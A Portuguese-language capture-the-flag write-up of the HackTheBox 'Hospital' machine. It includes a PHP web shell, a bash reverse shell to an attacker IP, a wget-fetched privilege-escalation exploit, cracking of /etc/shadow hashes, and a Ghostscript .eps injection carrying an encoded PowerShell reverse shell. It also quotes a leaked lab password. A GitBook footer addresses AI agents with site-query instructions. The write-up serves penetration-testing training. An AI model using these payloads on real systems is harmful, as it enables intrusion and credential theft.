> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-medium/hospital-hackthebox-writeup.md).

# Relato da máquina Hospital no HackTheBox

{% embed url="<https://app.hackthebox.com/machines/Hospital>" %}

{% hint style="warning" %}
**Habilidades:**

* Enumeração Web
* Abusando da ferramenta p0wny-shell para uploads de arquivos
* Quebrando senha de hash protegida
* Injeção de comando em arquivo tipo .eps
* Escalada-de-Privilégios-no-Domínio
  {% endhint %}

## Reconhecimento

**Configuração do ambiente de trabalho:**

Configure o ambiente de trabalho criando três pastas para armazenar conteúdo importante, exploits e resultados de reconhecimento do Nmap.

<figure><img src="/files/8afb080c179eb8baf0be29a3e54b1d980fc8806e" alt=""><figcaption></figcaption></figure>

**Verificação de conectividade da VPN**

Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.

<figure><img src="/files/46512d373805d4adc658adab9bad59ef20fbd367" alt=""><figcaption></figcaption></figure>

**Descoberta de portas abertas com Nmap:**/ Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.241 -oG allPorts
```

<figure><img src="/files/0a7d3d89a864eca437b1ebecb2a66186c915dc38" alt=""><figcaption></figcaption></figure>

**Análise das portas abertas com extractport:**/ Usando a função extractport para exibir de forma concisa as portas abertas e copiá-las para a área de transferência.

<figure><img src="/files/a7904d2eff53b896283814c181e292481ce1c68d" alt=""><figcaption></figcaption></figure>

**Varredura de versão das portas com Nmap:**/ Use o Nmap para escanear as versões dos serviços e salvar a saída no arquivo "targeted":

```bash
nmap -sCV -p22,53,88,135,139,389,443,445,464,593,636,1801,2103,2105,2107,2179,3268,3269,3389,5985,6059,6404,6406,6407,6410,6617,6639,8080,9389 10.10.11.241 -oN targeted
```

<figure><img src="/files/5e4e48d05b3a66eed2eaffb133de8aaa6f3c5785" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/18824e6e5c2fc806c9b8cd0da3715b05ebd02c17" alt=""><figcaption></figcaption></figure>

**Identificação da interface da porta 443**

<figure><img src="/files/757b22ee44bfbd03cccbe617cf7f7db60033ebb4" alt=""><figcaption></figcaption></figure>

**Identificação da interface da porta 8080**

<figure><img src="/files/904e805665bcc3d2668b03df9b76717198fd5e9a" alt=""><figcaption></figcaption></figure>

**Criação de usuário:**

Criar um usuário para estabelecer acesso potencial à máquina-alvo

<figure><img src="/files/d52c15abd875ac88fc7fb1e504280806dd9f2421" alt=""><figcaption></figcaption></figure>

## Vulnerabilidade de upload de arquivo:

<figure><img src="/files/68de3764e27581b9e6c66eb7db5e0e52dc097c3d" alt=""><figcaption></figcaption></figure>

#### Exploração inicial:

Tentar explorar uma vulnerabilidade de download de arquivo inserindo um arquivo PHP malicioso

```php
<?php
system($_GET['cmd'];
?>
```

O servidor rejeita automaticamente solicitações de upload de arquivos com determinadas extensões.

<figure><img src="/files/0a699d997a0c7d986bc5596729fe1caed61a19ae" alt=""><figcaption></figcaption></figure>

**Interceptação com Burp Suite:**

Usando o Burp Suite para interceptar e analisar o tráfego para entender os erros de operação

<figure><img src="/files/8c7cb7b322e9ea282e0b083d6d37cc0f3dca177f" alt=""><figcaption></figcaption></figure>

#### Modificação da extensão PHP:

Altere a extensão do arquivo de `.php` para `.phar` no `filename` variável e certifique-se de que a localização seja aceita com sucesso

<figure><img src="/files/41bcac17a6c8b4fac24a468b9734d070620b39da" alt=""><figcaption></figcaption></figure>

**Resumo dos diretórios:**

Usando o Gobuster para identificar diretórios em um servidor web e localizar o armazenamento de imagens médicas enviadas.

```bash
gobuster dir -u http://10.10.11.241:8080/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20
```

<figure><img src="/files/cf8db5128c5d6ab940f0448bc4aa596a0f8bef17" alt=""><figcaption></figcaption></figure>

#### Arquivo não interpretado:

O conteúdo de um arquivo a.phar não é interpretado.

<figure><img src="/files/26ab697e383a677473c5f8d2cd957a3955c86db5" alt=""><figcaption></figcaption></figure>

**Usar a ferramenta do GitHub para criar uma shell:**

Usando uma ferramenta de projeto no GitHub para contornar restrições de download de arquivos PHP e obter acesso a uma shell

{% embed url="<https://github.com/flozz/p0wny-shell>" %}

<figure><img src="/files/4164892896ff7207f3f28e9f7b5f9042a7c04917" alt=""><figcaption></figcaption></figure>

**Iniciando uma shell reversa:**

```bash
/usr/bin/bash -c 'bash -i >& /dev/tcp/10.10.15.18/444 0>&1'
```

Execute uma shell reversa para estabelecer acesso interativo à máquina-alvo e obter controle total.

<figure><img src="/files/d6b9f71a6a62ad68fae1b7388687b7add43d67bc" alt=""><figcaption></figcaption></figure>

#### Depois de obter acesso ao servidor Linux, estes são os comandos a executar para o processamento no terminal:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## Escalada de privilégios (servidor Linux):

**Identificação da versão do sistema operacional:**/ Use o `cat /etc/os-release` comando para verificar a versão do sistema, observe a presença de uma versão antiga do Ubuntu ("23.04").

<figure><img src="/files/258339237ba198f69192080b8bad21c60ae4e965" alt=""><figcaption></figcaption></figure>

#### **Baixar script para elevar privilégios:**

Baixe o script de [GitHub](https://github.com/g1vi/CVE-2023-2640-CVE-2023-32629?source=post_page-----ce86940a895f--------------------------------), que permite escalada de privilégios:

```bash
wget https://raw.githubusercontent.com/g1vi/CVE-2023-2640-CVE-2023-32629/main/exploit.sh
```

<figure><img src="/files/ee673f7744844913ba361dc99d275f2581126126" alt=""><figcaption></figcaption></figure>

#### **Extrair hashes de senhas:** Extrair hashes de senhas de `/etc/shadow` arquivo.

<figure><img src="/files/83912de617c113e17adc75ce63a60acb0635614b" alt=""><figcaption></figcaption></figure>

**Quebra de senhas:**

Use a ferramenta John the Ripper com uma lista de senhas conhecida para quebrar senhas:

```bash
john -w:/usr/share/wordlists/rockyou.txt hash.txt
```

<figure><img src="/files/d1e8c57910ec1b578670e43acd7dbab45ae3027f" alt=""><figcaption></figcaption></figure>

## Vulnerabilidade: injeção de arquivo .eps

#### Teste as credenciais no site acessível pela porta 443.

<figure><img src="/files/05f08167f3bd52bed77665a628c900bdd0b651f0" alt=""><figcaption></figcaption></figure>

**Caixa de correio restrita descoberta:**

Descobrir uma caixa de e-mail que deseja receber um design no formato .eps.

<figure><img src="/files/c69236c72983800b591740f7b5d733459f95b728" alt=""><figcaption></figcaption></figure>

**Operação do Ghostscript via arquivo .eps:**

Use um [Exploit do GitHub](https://github.com/jakabakos/CVE-2023-36664-Ghostscript-command-injection/blob/main/CVE_2023_36664_exploit.py) baseado em [Ghostscript](https://github.com/jakabakos/CVE-2023-36664-Ghostscript-command-injection/blob/main/CVE_2023_36664_exploit.py) para executar código malicioso por meio de uma `.eps` extensão de arquivo.

<figure><img src="/files/4558f33c7bf22d97dc5fcdac0d2ad9a421a1e15f" alt=""><figcaption></figcaption></figure>

#### Use [RevShells](https://www.revshells.com/) para criar o payload do PowerShell:

<figure><img src="/files/b15e1aa4cf5b310ffb3cd27c8f6db5d670c11e7b" alt=""><figcaption></figcaption></figure>

#### Injetando payload no arquivo .eps:

Usando o comando para injetar o payload com a shell reversa no arquivo .eps.

{% code fullWidth="true" %}

```bash
python3 exploit.py --inject --payload "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4AMgAiACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=" --filename file.eps
```

{% endcode %}

<figure><img src="/files/940675580fec300e1743e142e4adc0e70c354a38" alt=""><figcaption></figcaption></figure>

#### Ouvindo com rlwrap:

Configurando a escuta com rlwrap para aguardar uma conexão de entrada.

```bash
rlwrap nc -nlvp 4444
```

#### Enviando e-mail com arquivo EPS malicioso:

<figure><img src="/files/1b0c57d7ec149f0d38070100240a6ed2b105a72f" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/4a1b8235d2de7cd635a04378891a99fe9d317359" alt="" width="563"><figcaption></figcaption></figure>

#### Descoberta de um arquivo ghostscript.bat:

Descoberta de um arquivo ghostscript.bat contendo a senha de "drbrown": `chr!$br0wn`

<figure><img src="/files/699449b96805756ea7a7a55c90ab3808fc49d758" alt=""><figcaption></figcaption></figure>

#### Primeira flag user.txt:

Descoberta e recuperação da primeira flag user.txt.

<figure><img src="/files/7754a824aef643f04dc767d1397ebd2811a01670" alt=""><figcaption></figcaption></figure>

## Escalada de privilégios no Active Directory :

#### Escalada de privilégios acessando o servidor web XAMPP.

<figure><img src="/files/414dafcdaf1b891cc96cd662210ad553abb187ec" alt=""><figcaption></figcaption></figure>

#### Criando um arquivo PHP:

Crie um arquivo PHP contendo o código "this is a test".

```bash
echo "this is a test" > test.php
```

#### Verificando o servidor web:

Verifique se o servidor web insere corretamente o arquivo PHP.

<figure><img src="/files/bd05d17adb26a39dcbb228ea126fb70dc350e9fd" alt=""><figcaption></figcaption></figure>

#### Reinjetar o arquivo PHP a partir do [p0wny-shell](https://github.com/flozz/p0wny-shell) projeto:

{% embed url="<https://github.com/flozz/p0wny-shell>" %}

<pre class="language-bash"><code class="lang-bash">python3 -m http.server 8080

<strong>wget http://10.10.16.2:8080/shell.php -o shell.php
</strong></code></pre>

<figure><img src="/files/89bc3ba2685d8b513d8d18b923bea6b4067b2222" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/bca6238d35b50765888ed16168fb7f7ae66a4784" alt=""><figcaption></figcaption></figure>

#### Copie o [shell reverso](https://www.revshells.com/) payload para o terminal pownyshell:

<figure><img src="/files/26b8f3ec1d0c208209bc516717938cc04808e894" alt=""><figcaption></figcaption></figure>

#### Ouvindo com rlwrap:

```bash
rlwrap nc -nlvp 4444
```

### Flag root.txt obtida:

<figure><img src="/files/c5bf25b6ac46bde9ed79abb835cf5b8d858658de" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/d5f16fa1289d893050ec5b737b3dba86bb2a92dc" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/windows-medium/hospital-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
